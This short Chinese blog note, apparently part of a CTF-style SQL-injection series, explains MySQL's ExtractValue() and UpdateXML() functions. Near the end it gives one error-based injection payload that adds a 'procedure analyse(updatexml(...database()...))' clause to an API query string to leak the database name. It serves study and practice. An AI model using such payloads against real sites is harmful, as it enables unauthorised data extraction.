从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml;extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容;用法上 extractvalue 与 updatexml 的区别:updatexml 使用三个参数,extractvalue 只有两个参数。
ExtractValue()
ExtractValue() 是 MySQL 中的一个函数,用于从 XML 文档中提取值。
语法:
sql
ExtractValue(xml_fragment, xpath_expression)xml_fragment:这是一个 XML 格式的字符串片段。
xpath_expression:XPath 表达式,指定要提取的路径。
UpdateXML()
UpdateXML() 是 MySQL 中的一个函数,用于更新 XML 文档中的特定节点。
语法:
sql
UpdateXML(xml_document, xpath_string, new_value)
xml_document:一个 XML 格式的字符串文档。
xpath_string:XPath 表达式,指定要更新的节点位置。
new_value:新的值,将替换匹配到的节点内容。
用UpdateXML
打也可
/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)
最后
sql专题后面的暂且搁置了,也许会在某一天心血来潮打完补上,咕咕咕